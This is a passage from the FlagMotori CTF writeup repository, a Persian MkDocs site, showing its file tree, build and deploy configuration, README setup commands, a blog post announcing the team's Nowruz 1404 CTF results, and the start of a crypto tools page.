├── .gitattributes ├── .github ├── PULL_REQUEST_TEMPLATE.md └── workflows │ └── ci.yml ├── .gitignore ├── Dockerfile ├── LICENSE ├── README.md ├── docs ├── blockchain │ └── index.md ├── blog │ ├── .authors.yml │ ├── .meta.yml │ ├── index.md │ └── posts │ │ ├── CTFTime-Data analysis.md │ │ ├── Nowruz 1404 CTF.md │ │ ├── figure Nowruz1404 CTF │ │ ├── Nowruz1404.jpg │ │ └── scoreboard.jpg │ │ ├── figure analysis 2024 │ │ ├── 20th point.png │ │ ├── Country team Count.png │ │ ├── Country team Point.png │ │ ├── Cover.png │ │ ├── ScoreVsRank.png │ │ ├── declining point1.png │ │ ├── declining point2.png │ │ ├── declining point3.png │ │ ├── declining point4.png │ │ ├── event orgnizer1.png │ │ ├── event orgnizer2.png │ │ ├── event orgnizer3.png │ │ ├── eventCountParticipation1.png │ │ ├── eventCountParticipation2.png │ │ ├── race plot.gif │ │ ├── rank1.jpg │ │ ├── rank2.jpg │ │ ├── rank3.jpg │ │ ├── rank4.jpg │ │ └── scatterPlot.png │ │ ├── figure │ │ └── snapp-ctf-2024-scoreboard.jpg │ │ └── snapp-ctf-2024.md ├── crypto │ ├── Tools │ │ └── index.md │ ├── crypto.png │ ├── index.md │ ├── mindmap │ │ └── index.md │ ├── source │ │ ├── Cryptography-And-Network-Security_Forouzan.jpg │ │ ├── Introduction-to-Mathematical-Cryptography_Hoffstein.jpg │ │ ├── Secret History The Story of Cryptology.png │ │ └── index.md │ ├── wiki │ │ ├── CRT │ │ │ └── chinese-remainder-theorem.md │ │ ├── dhke │ │ │ ├── dhke.png │ │ │ └── diffie-hellman-key-exchange.md │ │ ├── euclidean-algorithm │ │ │ ├── euclidean-algorithm.md │ │ │ ├── euclidean-algorithm.png │ │ │ └── xeuclidean-algorithm.png │ │ ├── fermat-little-theorem │ │ │ └── fermat-little-theorem.md │ │ ├── modular-binomials │ │ │ └── modular-binomials.md │ │ ├── quadratic-residues │ │ │ └── quadratic-residues.md │ │ ├── rsa │ │ │ └── rsa.md │ │ └── tonelli-shanks │ │ │ └── tonelli-shanks.md │ └── writeups │ │ ├── 2023 │ │ ├── CakeCTF │ │ │ ├── simple-signature.md │ │ │ └── simple-signature.png │ │ ├── TCP1PCTF │ │ │ ├── Final_Consensus.md │ │ │ ├── Final_Consensus.png │ │ │ └── MITM.png │ │ └── vSCTF │ │ │ ├── Redundancy.md │ │ │ └── img.png │ │ ├── 2024 │ │ ├── 0xL4ughCTF │ │ │ ├── RSA-GCD.md │ │ │ └── RSA-GCD.png │ │ ├── BSidesSF │ │ │ ├── truthescrow1.PNG │ │ │ ├── truthescrow1.md │ │ │ ├── truthescrow2.PNG │ │ │ └── truthescrow2.md │ │ ├── BYUCTF │ │ │ ├── AreSA.md │ │ │ ├── AreSA.png │ │ │ ├── Austen-Supremacy.md │ │ │ ├── Austen-Supremacy.png │ │ │ ├── Times.md │ │ │ └── Times.png │ │ ├── Cybercoliseum Ⅲ │ │ │ ├── Hills.md │ │ │ └── Watchmaker.md │ │ ├── IdekCTF │ │ │ ├── GoldenTicket.md │ │ │ └── GoldenTicket.png │ │ ├── IronCTF │ │ │ ├── A.png │ │ │ ├── Algebra Exam.png │ │ │ ├── Algebra_Exam.md │ │ │ ├── F.png │ │ │ ├── H.png │ │ │ ├── I.png │ │ │ ├── M.png │ │ │ ├── N.png │ │ │ ├── Rivest, Shamir, Adleman 1.png │ │ │ ├── Rivest-Shamir-Adleman-1.md │ │ │ ├── S.png │ │ │ ├── T.png │ │ │ ├── U.png │ │ │ └── all_chars.png │ │ ├── LITCTF │ │ │ ├── SymmetricRSA.md │ │ │ └── SymmetricRSA.png │ │ ├── SDCTF │ │ │ ├── ComplexProblem.md │ │ │ └── ComplexProblem.png │ │ ├── SnappCTF │ │ │ ├── 1.jpg │ │ │ ├── 1.png │ │ │ ├── 2.png │ │ │ ├── 3.jpg │ │ │ ├── Blex.md │ │ │ ├── Bombastic.PNG │ │ │ ├── Bombastic.md │ │ │ ├── Cryptos.md │ │ │ ├── mascot-1.png │ │ │ ├── mascot-2.png │ │ │ └── mascot.md │ │ ├── TFCCTF │ │ │ ├── CCCCC.PNG │ │ │ ├── CCCCC.md │ │ │ ├── CONWAY.PNG │ │ │ ├── CONWAY.md │ │ │ ├── GENETICS-Table.png │ │ │ ├── GENETICS-coding.jpg │ │ │ ├── GENETICS.PNG │ │ │ └── GENETICS.md │ │ ├── USCCTF │ │ │ ├── Its-Not-Called-Data-Loss-Prevention.md │ │ │ ├── Its-Not-Called-Data-Loss-Prevention.png │ │ │ ├── decipherium.md │ │ │ ├── decipherium.png │ │ │ ├── factor p-1.png │ │ │ └── periodic_Table.png │ │ └── Urmia-CTF │ │ │ ├── Karaball.md │ │ │ ├── Karaball.png │ │ │ ├── Modal_1.PNG │ │ │ ├── Modal_1.md │ │ │ ├── Modal_2.PNG │ │ │ ├── Modal_2.md │ │ │ ├── Rasa.PNG │ │ │ ├── Rasa.md │ │ │ ├── Sergio.PNG │ │ │ ├── Sergio.md │ │ │ ├── dcode_fr.PNG │ │ │ ├── step1.png │ │ │ ├── step2.png │ │ │ ├── step3.png │ │ │ └── step4.png │ │ └── 2025 │ │ ├── TsukuCTF │ │ ├── PQC0.md │ │ ├── PQC0.png │ │ ├── PQC1.md │ │ ├── PQC1.png │ │ ├── image.png │ │ ├── kem-keyGen algorithm.png │ │ ├── key establishment.png │ │ ├── openssl key info.png │ │ ├── output0.txt │ │ └── output1.txt │ │ └── UMDCTF │ │ ├── Cover-brainrot13.png │ │ └── brainrot13.md ├── favicon.png ├── forensic │ ├── index.md │ └── writeups │ │ └── 2024 │ │ ├── BSidesSF │ │ ├── doctor-1.png │ │ ├── doctor-2.png │ │ ├── doctor-3.png │ │ ├── doctor.md │ │ ├── javai-1.png │ │ ├── javai-2.png │ │ ├── javai.md │ │ ├── redacted-1.png │ │ ├── redacted-2.png │ │ ├── redacted.md │ │ ├── sgai-1.png │ │ ├── sgai-2.png │ │ ├── sgai-3.png │ │ ├── sgai-4.png │ │ ├── sgai.md │ │ ├── undelete-1.png │ │ ├── undelete.md │ │ ├── ztxt-1.png │ │ └── ztxt.md │ │ ├── ImaginaryCTF │ │ ├── elves-1.png │ │ ├── elves-2.png │ │ ├── elves-3.png │ │ ├── elves.bmp │ │ ├── elves.md │ │ └── elves.png │ │ ├── PatriotCTF │ │ ├── Abnormal-Maybe-Illegal-files │ │ │ ├── 0_chall.png │ │ │ ├── 1_statistics.png │ │ │ ├── 2_http.png │ │ │ └── 3_bad_packets.png │ │ └── Abnormal-Maybe-Illegal.md │ │ ├── SnappCTF │ │ ├── false-sight-1.png │ │ ├── false-sight-2.png │ │ ├── false-sight-3.png │ │ ├── false-sight-4.png │ │ ├── false-sight-5.png │ │ ├── false-sight-6.png │ │ ├── false-sight-7.png │ │ ├── false-sight-8.png │ │ ├── false-sight.md │ │ ├── snapp-report.md │ │ └── snapp-report.png │ │ └── Urmia-CTF │ │ ├── catch-me-if-you-can-files │ │ ├── 1_many_arps.png │ │ ├── 2_http.png │ │ ├── 3_follow_http.png │ │ ├── capture.zip │ │ └── secret.png │ │ ├── catch-me-if-you-can.md │ │ ├── hidden-coordinates-files │ │ ├── 1_pcap.png │ │ ├── 2_tcp_push_flag.png │ │ ├── 3_filter_on_not_tls.png │ │ ├── 4_icmp_filter.png │ │ └── 5_icmp_filtered_standard_payload.png │ │ └── hidden-coordinates.md ├── getStarted │ ├── CTF-in-Iran.md │ ├── CTF-introduction │ │ ├── DefconCTF-logo.jpeg │ │ ├── Jeopardy.jpg │ │ ├── attack-defense.png │ │ ├── ctftime.png │ │ ├── defcon1.jpg │ │ ├── index.md │ │ └── on-site.png │ ├── Sample-writeup.zip │ ├── beginners-guide │ │ ├── 247ctf-logo.png │ │ ├── HTB-Logo.png │ │ ├── THMlogo.png │ │ ├── crackmes.png │ │ ├── cryptohack.png │ │ ├── ctflearn logo.png │ │ ├── forensic_repo.png │ │ ├── hacktoria.png │ │ ├── index.md │ │ ├── picoctf-logo.png │ │ ├── portswigger.png │ │ ├── pwncollege.png │ │ ├── ringzer0ctf.png │ │ ├── rootme logo.png │ │ └── w3challs.jpg │ ├── contribution.md │ ├── customization.md │ ├── logo_template.png │ ├── main.py │ ├── template.md │ └── writing-method.md ├── index.md ├── logo.png ├── misc │ ├── Tools │ │ └── index.md │ ├── index.md │ └── writeups │ │ ├── 2023 │ │ ├── BackdoorCTF │ │ │ ├── Fruit-Basket.md │ │ │ └── Secret-of-Kurama.md │ │ └── PingCTF │ │ │ ├── internet-cat.md │ │ │ ├── ping-arcade.md │ │ │ ├── wow.md │ │ │ └── you-spin-me-round.md │ │ └── 2024 │ │ ├── DUCTF │ │ ├── intercept.md │ │ ├── intercept_cover.png │ │ ├── recipe.md │ │ ├── recipe_1.png │ │ └── recipe_cover.png │ │ ├── ImaginaryCTF │ │ ├── Left in the Dark.PNG │ │ ├── Left in the Dark.mp4 │ │ ├── Left-in-the-Dark.md │ │ ├── ok-nice.PNG │ │ ├── ok-nice.md │ │ └── pyjail.jpg │ │ ├── OSCTF │ │ ├── captured_data.md │ │ ├── captured_data_1.png │ │ ├── captured_data_2.png │ │ └── captured_data_cover.png │ │ ├── SnappCTF │ │ ├── SP1.PNG │ │ ├── SP2.PNG │ │ ├── SnappOsint.md │ │ ├── bandy-1.png │ │ ├── bandy-2.png │ │ ├── bandy-3.png │ │ ├── bandy-4.png │ │ ├── bandy.md │ │ ├── prying-1.png │ │ ├── prying-2.png │ │ ├── prying-eyes.md │ │ ├── recordtripSnapppey.png │ │ ├── snapp customer.png │ │ ├── snapp saving.PNG │ │ ├── snapp-bounties.png │ │ ├── snapp.jpg │ │ ├── snapprecord.png │ │ └── superapp-user.png │ │ └── TFCCTF │ │ ├── bad-invaders-files │ │ ├── bad_invaders.zip │ │ └── gif │ │ │ ├── game.gif │ │ │ └── solution.gif │ │ └── bad-invaders.md ├── osint │ ├── Tools │ │ ├── 4d3067a845564768086078f1c275c7c6db9ff3e6143ea33b6c676cb5475a3abb.jpg │ │ ├── 65f9760110f28e0bcfc60cc7_Untitled.png │ │ ├── 988254111-stalking.jpg │ │ ├── OSINT-essentials.md │ │ └── sherlock-image-sherlock-36402097-1280-720.jpg │ ├── index.md │ ├── osint.jpg │ └── writeups │ │ └── 2024 │ │ ├── 0xL4ughCTF │ │ ├── 1.png │ │ ├── 2.png │ │ ├── 3.jpg │ │ ├── 4.png │ │ ├── 5.png │ │ ├── challenge cover.png │ │ └── cheater.md │ │ ├── PlatypwnCTF │ │ ├── Rise.jpg │ │ ├── angle-photo.jpg │ │ ├── angle-satellite.png │ │ ├── date-table.png │ │ ├── measure00.png │ │ ├── measure01.png │ │ ├── measure02.png │ │ ├── measure03.png │ │ ├── measure04.png │ │ ├── measure05.png │ │ ├── rise.md │ │ ├── weather-july-13.png │ │ ├── weather-july.png │ │ ├── weather-june-1.png │ │ ├── weather-june.png │ │ ├── weather-may-25.png │ │ └── weather-may.png │ │ ├── niteCTF │ │ ├── 28nov_delay.png │ │ ├── Backtrack.md │ │ ├── Japanese_archive.png │ │ ├── Line_z.png │ │ ├── correct_date_delay.png │ │ ├── cover.png │ │ └── english_archive.png │ │ └── wctf │ │ ├── WOLPHV-I │ │ ├── WOLPHV-I-Reconnaissance.md │ │ ├── challenge cover.jpg │ │ ├── google search.png │ │ └── twitter comments.jpg │ │ ├── WOLPHV-III │ │ ├── WOLPHV-III-p1nesh4dow48.md │ │ ├── apartment.png │ │ ├── challenge cover.png │ │ ├── discord image.png │ │ └── google image.png │ │ └── WOLPHV-IV │ │ ├── WOLPHV-IV-d4wgbyte262.md │ │ ├── challenge cover.jpg │ │ ├── discord chats 2.png │ │ ├── discord chats.png │ │ ├── flickr account.png │ │ └── house coordinates.png ├── pwn │ ├── index.md │ ├── pwn.jpg │ ├── wiki │ │ └── byteorder.md │ └── writeups │ │ └── 2024 │ │ └── SnappCTF │ │ ├── Snapp_admin.md │ │ ├── Snapp_admin1.png │ │ ├── Snapp_admin2.png │ │ ├── Snapp_admin3.png │ │ ├── Snapp_admin4.png │ │ ├── Snapp_admin5.png │ │ ├── Snappshell-1.png │ │ ├── Snappshell-2.png │ │ ├── Snappshell-3.png │ │ ├── Snappshell-4.png │ │ ├── Snappshell-5.png │ │ ├── Snappshell-6.png │ │ └── Snappshell.md ├── reverse │ ├── Tools │ │ ├── binja-logo.jpg │ │ ├── ghidra.jpg │ │ ├── ida_pro.jpg │ │ └── index.md │ ├── index.md │ └── writeups │ │ ├── 2023 │ │ └── BackdoorCTF │ │ │ └── Sl4ydroid.md │ │ └── 2024 │ │ ├── BSidesSF │ │ ├── TuringComplete.PNG │ │ ├── TuringComplete.md │ │ ├── shinji-1.png │ │ ├── shinji.md │ │ ├── whishing-well.md │ │ ├── wishing-well-1.png │ │ └── wishing-well-2.png │ │ ├── DUCTF │ │ ├── jmp_1.png │ │ ├── jmp_cover.png │ │ ├── jmp_flag.md │ │ ├── mashing.png │ │ └── number_mashing.md │ │ ├── ImaginaryCTF │ │ ├── BF.PNG │ │ ├── BF.md │ │ ├── unconditional.md │ │ └── unconditional.png │ │ ├── Incognito_5.0 │ │ ├── Vault.md │ │ ├── Vault_2.md │ │ └── Vault_3.md │ │ ├── SnappCTF │ │ ├── TurnOB.PNG │ │ ├── TurnOB.md │ │ ├── blink-1.png │ │ ├── blink-2.png │ │ ├── blink-3.png │ │ ├── blink.md │ │ ├── r2.png │ │ └── vitis.md │ │ └── UIUCTF │ │ ├── summarize.md │ │ └── summarize.png ├── static │ ├── css │ │ ├── Fonts │ │ │ ├── B-Traffic.ttf │ │ │ ├── Bahij-Nazanin.ttf │ │ │ ├── Diplomat.ttf │ │ │ ├── Gandom.ttf │ │ │ ├── Irsans.ttf │ │ │ ├── Samim.ttf │ │ │ ├── Vazir-Medium.ttf │ │ │ ├── Vazir-Thin-FD-WOL.ttf │ │ │ └── Yekan.ttf │ │ └── extra.css │ ├── img │ │ └── logo.jpg │ └── js │ │ └── extra.js ├── steganography │ └── index.md ├── tags.md └── web │ ├── index.md │ └── writeups │ ├── 2023 │ ├── BackdoorCTF │ │ └── PHP-Sucks.md │ └── PingCTF │ │ ├── internet-explorer.md │ │ ├── path-traversal.md │ │ └── youtube-trailer.md │ └── 2024 │ ├── LITCTF │ ├── asset │ │ ├── HSV.PNG │ │ ├── NetworkTab.PNG │ │ ├── colorPicker.PNG │ │ ├── rainbow_gradient.PNG │ │ ├── scrainbow.PNG │ │ ├── scrainbow.mp4 │ │ └── webpage.PNG │ └── scrainbow.md │ ├── SnappCTF │ ├── b64.md │ ├── b64.png │ ├── snappcat.md │ ├── snappcat.png │ ├── snappcat.py │ ├── snappfal.md │ ├── snappfal.png │ ├── snappfal1.png │ ├── welcome.md │ ├── welcome.png │ └── welcome1.png │ ├── UIUCTF │ └── log-action.md │ └── mapnaCTF │ ├── flag-holding.md │ └── flag-holding.png ├── mkdocs.yml ├── overrides ├── .icons │ └── custom_icon │ │ └── logo.svg ├── main.html └── partials │ └── content.html └── requirements.txt /.gitattributes: -------------------------------------------------------------------------------- 1 | # Auto detect text files and perform LF normalization 2 | * text=auto 3 | 4 | # Custom for Visual Studio 5 | *.cs diff=csharp 6 | 7 | # Standard to msysgit 8 | *.doc diff=astextplain 9 | *.DOC diff=astextplain 10 | *.docx diff=astextplain 11 | *.DOCX diff=astextplain 12 | *.dot diff=astextplain 13 | *.DOT diff=astextplain 14 | *.pdf diff=astextplain 15 | *.PDF diff=astextplain 16 | *.rtf diff=astextplain 17 | *.RTF diff=astextplain 18 | -------------------------------------------------------------------------------- /.github/PULL_REQUEST_TEMPLATE.md: -------------------------------------------------------------------------------- 1 | Thanks for contributing to FlagMotori Writeups! 2 | 3 | **Before submitting this pull request, please read** 4 | - [Contribute](https://flagmotori.github.io/writeups/introduction/contribution/) 5 | 6 | **Please remove these message before PR.** 7 | -------------------------------------------------------------------------------- /.github/workflows/ci.yml: -------------------------------------------------------------------------------- 1 | name: ci 2 | 3 | # Controls when the action will run. 4 | on: 5 | # Runs on pushes targeting the default branch 6 | push: 7 | branches: ["main"] 8 | 9 | # Allows you to run this workflow manually from the Actions tab 10 | workflow_dispatch: 11 | 12 | # Sets permissions of the GITHUB_TOKEN to allow deployment to GitHub Pages 13 | permissions: 14 | contents: write 15 | pages: write 16 | id-token: write 17 | 18 | # Allow only one concurrent deployment, skipping runs queued between the run in-progress and latest queued. 19 | # However, do NOT cancel in-progress runs as we want to allow these production deployments to complete. 20 | concurrency: 21 | group: "pages" 22 | cancel-in-progress: false 23 | 24 | # A workflow run is made up of one or more jobs that can run sequentially or in parallel 25 | jobs: 26 | # This workflow contains a single job called "build" 27 | build-and-deploy: 28 | # The type of runner that the job will run on 29 | runs-on: ubuntu-latest 30 | 31 | # Steps represent a sequence of tasks that will be executed as part of the job 32 | steps: 33 | # Checks-out your repository under $GITHUB_WORKSPACE, so your job can access it 34 | - name: Checkout 🛎️ 35 | uses: actions/checkout@v4 36 | with: 37 | fetch-depth: '0' 38 | 39 | - name: Set up Python 40 | uses: actions/setup-python@v4 41 | with: 42 | python-version: '3.8' # 3.x 43 | cache: 'pip' 44 | 45 | - name: Install requirements 46 | run: python3.8 -m pip install -r requirements.txt 47 | 48 | - name: Build Docs 49 | run: mkdocs build 50 | #run: mkdocs gh-deploy --force 51 | 52 | - name: Deploy to Github Pages 53 | uses: JamesIves/github-pages-deploy-action@3.7.1 54 | with: 55 | BRANCH: gh-pages # The branch the action should deploy to. 56 | FOLDER: site # The folder the action should deploy. 57 | CLEAN: true # Automatically remove deleted files from the deploy branch 58 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | _build/ 2 | docs_build/ 3 | site/ 4 | .vscode/ 5 | **/.DS_Store 6 | .env 7 | venv 8 | -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.11-alpine AS build-stage 2 | LABEL maintainer="mahdih3idari@gmail.com" 3 | 4 | RUN apk add --no-cache git 5 | WORKDIR /opt/writeups 6 | COPY requirements.txt ./ 7 | RUN pip install --no-cache-dir -r requirements.txt 8 | COPY . . 9 | RUN mkdocs build 10 | 11 | 12 | FROM nginx:mainline-alpine 13 | COPY --from=build-stage /opt/writeups/site /usr/share/nginx/html 14 | EXPOSE 80 15 | CMD ["nginx", "-g", "daemon off;"] 16 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # رایتاپ‌های تیم فلگ موتوری 2 | 3 | ما برای سایتمون از **MkDocs** تم **material** استفاده میکنیم. 4 | 5 | برای بالا اوردن سایت روی سیستم خودتون از دستورات زیر استفاده کنید. 6 | 7 | ```console 8 | # 1. clone 9 | git clone https://github.com/FlagMotori/writeups.git 10 | # 2. requirements 11 | pip install -r requirements.txt 12 | # generate static file in site/ 13 | mkdocs build 14 | # deploy at http://127.0.0.1:8000 15 | mkdocs serve 16 | ``` 17 | 18 | > [!TIP] 19 | > برای تست لوکال، وقتی فایل مارک داون تغییر کنه، خودکار سایت آپدیت میشه 20 | 21 | -------------------------------------------------------------------------------- /docs/blockchain/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | icon: material/vector-square-minus 3 | --- 4 | # بلاکچین 5 | 6 | -------------------------------------------------------------------------------- /docs/blog/.authors.yml: -------------------------------------------------------------------------------- 1 | authors: 2 | mheidari98: 3 | name: Mahdi Heidari 4 | description: ایجادکننده 5 | avatar: https://avatars.githubusercontent.com/u/84391363 6 | url: https://github.com/mheidari98 7 | HIGHer: 8 | name: HIGHer 9 | description: مشارکت‌کننده 10 | avatar: https://avatars.githubusercontent.com/u/44268880 11 | url: https://github.com/HIGH0101 12 | 13 | -------------------------------------------------------------------------------- /docs/blog/.meta.yml: -------------------------------------------------------------------------------- 1 | comments: true 2 | hide: 3 | - feedback 4 | -------------------------------------------------------------------------------- /docs/blog/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | icon: material/notebook 3 | --- 4 | 5 | # وبلاگ‌ تیم فلگ موتوری 6 | -------------------------------------------------------------------------------- /docs/blog/posts/Nowruz 1404 CTF.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: اولین مسابقه CTF تیم با نام Nowruz1 404 3 | date: 2025-03-20 4 | authors: [HIGHer] 5 | slug: Nowruz1404-CTF 6 | description: CTF contest 7 | tags: 8 | - CTF contest 9 | - CTFtime 10 | - Nowruz1404 11 | --- 12 | 13 | # اولین مسابقه CTF فلگ موتوری با نام Nowruz1404 14 | 15 |
16 | ![poster](figure Nowruz1404 CTF/Nowruz1404.jpg) 17 |
18 | 19 | 20 | 21 | 22 | ## مسابقه CTF نوروز ۱۴۰۴؛ اولین تجربه، یک خاطره به‌یادماندنی 23 | 24 | برای اولین بار مسابقه بین المللی CTF تیم فلگ موتوری در اواخر اسفند ۱۴۰۳ برگزار شد؛ رویدادی که با نام NOWRUZ 1404 به استقبال سال جدید رفتیم! این مسابقه با هدف به چالش کشیدن مهارت‌ها و حل چالش های امنیتی در فضایی دوستانه و هیجان‌انگیز برگزار شد. 25 | 26 | از لحظه‌ی شروع تا پایان، شاهد رقابت بین تیم‌های شرکت‌کننده بودیم. چالش‌های متنوعی که توسط اعضای تیم طراحی شده بود، توانست شرکت‌کنندگان را درگیر کنند. خوشبختانه مسابقه بدون مشکل جدی برگزار شد و از بازخوردهای مثبت شرکت‌کنندگان انرژی زیادی گرفتیم. 27 | در نهایت، تیم‌های 28 | 29 | :flag_gr: Thread in the Needle :first_place_medal: 30 | 31 | :flag_id: HCS :second_place_medal: 32 | 33 | :flag_kr: TeamH4C :third_place_medal: 34 | 35 | مقام‌های اول تا سوم را از آن خود کردند. تبریک ویژه به این تیم‌ها برای عملکردشان! 36 | 37 | یک تشکر بزرگ از تمامی بچه‌های تیم‌ که با طراحی چالش‌ها و راه‌اندازی زیرساخت‌ها، باعث شدند این رویداد به بهترین شکل ممکن برگزار شود. در واقع بدون شما این مسابقه امکان‌پذیر نبود :shaking_hands: 38 | 39 | این تجربه برای ما ارزشمند بود و قطعاً در مسابقات آینده اندک نقاط ضعف را برطرف خواهیم کرد و با ایده های جدید، تجربه‌ای بهتر برای همه رقم بزنیم. برای بررسی چالش‌ها، شناخت طراحان و راه‌حل چالش‌ها ، می‌توانید به [این لینک](https://github.com/FlagMotori/Nowruz1404) مراجعه کنید. 40 | 41 | منتظر دوره‌های بعدی باشید! 🚀🎯 42 | 43 |
44 | ![scoreboard](figure Nowruz1404 CTF/scoreboard.jpg) 45 |
46 | -------------------------------------------------------------------------------- /docs/blog/posts/figure Nowruz1404 CTF/Nowruz1404.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/blog/posts/figure Nowruz1404 CTF/Nowruz1404.jpg -------------------------------------------------------------------------------- /docs/blog/posts/figure Nowruz1404 CTF/scoreboard.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/blog/posts/figure Nowruz1404 CTF/scoreboard.jpg -------------------------------------------------------------------------------- /docs/blog/posts/figure analysis 2024/20th point.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/blog/posts/figure analysis 2024/20th point.png -------------------------------------------------------------------------------- /docs/blog/posts/figure analysis 2024/Country team Count.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/blog/posts/figure analysis 2024/Country team Count.png -------------------------------------------------------------------------------- /docs/blog/posts/figure analysis 2024/Country team Point.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/blog/posts/figure analysis 2024/Country team Point.png -------------------------------------------------------------------------------- /docs/blog/posts/figure analysis 2024/Cover.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/blog/posts/figure analysis 2024/Cover.png -------------------------------------------------------------------------------- /docs/blog/posts/figure analysis 2024/ScoreVsRank.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/blog/posts/figure analysis 2024/ScoreVsRank.png -------------------------------------------------------------------------------- /docs/blog/posts/figure analysis 2024/declining point1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/blog/posts/figure analysis 2024/declining point1.png -------------------------------------------------------------------------------- /docs/blog/posts/figure analysis 2024/declining point2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/blog/posts/figure analysis 2024/declining point2.png -------------------------------------------------------------------------------- /docs/blog/posts/figure analysis 2024/declining point3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/blog/posts/figure analysis 2024/declining point3.png -------------------------------------------------------------------------------- /docs/blog/posts/figure analysis 2024/declining point4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/blog/posts/figure analysis 2024/declining point4.png -------------------------------------------------------------------------------- /docs/blog/posts/figure analysis 2024/event orgnizer1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/blog/posts/figure analysis 2024/event orgnizer1.png -------------------------------------------------------------------------------- /docs/blog/posts/figure analysis 2024/event orgnizer2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/blog/posts/figure analysis 2024/event orgnizer2.png -------------------------------------------------------------------------------- /docs/blog/posts/figure analysis 2024/event orgnizer3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/blog/posts/figure analysis 2024/event orgnizer3.png -------------------------------------------------------------------------------- /docs/blog/posts/figure analysis 2024/eventCountParticipation1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/blog/posts/figure analysis 2024/eventCountParticipation1.png -------------------------------------------------------------------------------- /docs/blog/posts/figure analysis 2024/eventCountParticipation2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/blog/posts/figure analysis 2024/eventCountParticipation2.png -------------------------------------------------------------------------------- /docs/blog/posts/figure analysis 2024/race plot.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/blog/posts/figure analysis 2024/race plot.gif -------------------------------------------------------------------------------- /docs/blog/posts/figure analysis 2024/rank1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/blog/posts/figure analysis 2024/rank1.jpg -------------------------------------------------------------------------------- /docs/blog/posts/figure analysis 2024/rank2.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/blog/posts/figure analysis 2024/rank2.jpg -------------------------------------------------------------------------------- /docs/blog/posts/figure analysis 2024/rank3.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/blog/posts/figure analysis 2024/rank3.jpg -------------------------------------------------------------------------------- /docs/blog/posts/figure analysis 2024/rank4.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/blog/posts/figure analysis 2024/rank4.jpg -------------------------------------------------------------------------------- /docs/blog/posts/figure analysis 2024/scatterPlot.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/blog/posts/figure analysis 2024/scatterPlot.png -------------------------------------------------------------------------------- /docs/blog/posts/figure/snapp-ctf-2024-scoreboard.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/FlagMotori/writeups/debfd57bb01d4bb09cc8fcc900fc8f9b63dc5cdc/docs/blog/posts/figure/snapp-ctf-2024-scoreboard.jpg -------------------------------------------------------------------------------- /docs/crypto/Tools/index.md: -------------------------------------------------------------------------------- 1 | # از چه ابزاری بهتره استفاده کنیم؟ 2 | 3 | ### Python 4 | اکثر چالشهایی که باهاشون سر و کار داریم به این زبان نوشته شدند. 5 | پایتون یک زبان فوق العاده برای نمونه سازی سریع رمزنگاری است. قابل خواندن است و از اعداد صحیح بزرگ پشتیبانی می کند. 6 | 7 | پکیج هایی که پیشنهاد میشه نصب داشته باشید: 8 | 9 | - PyCryptodome 10 | - gmpy2 11 | - pwntools 12 | 13 | این کار میتونه به سادگی با اجرای دستور زیر انجام بشود: 14 | 15 | ```bash 16 | > pip 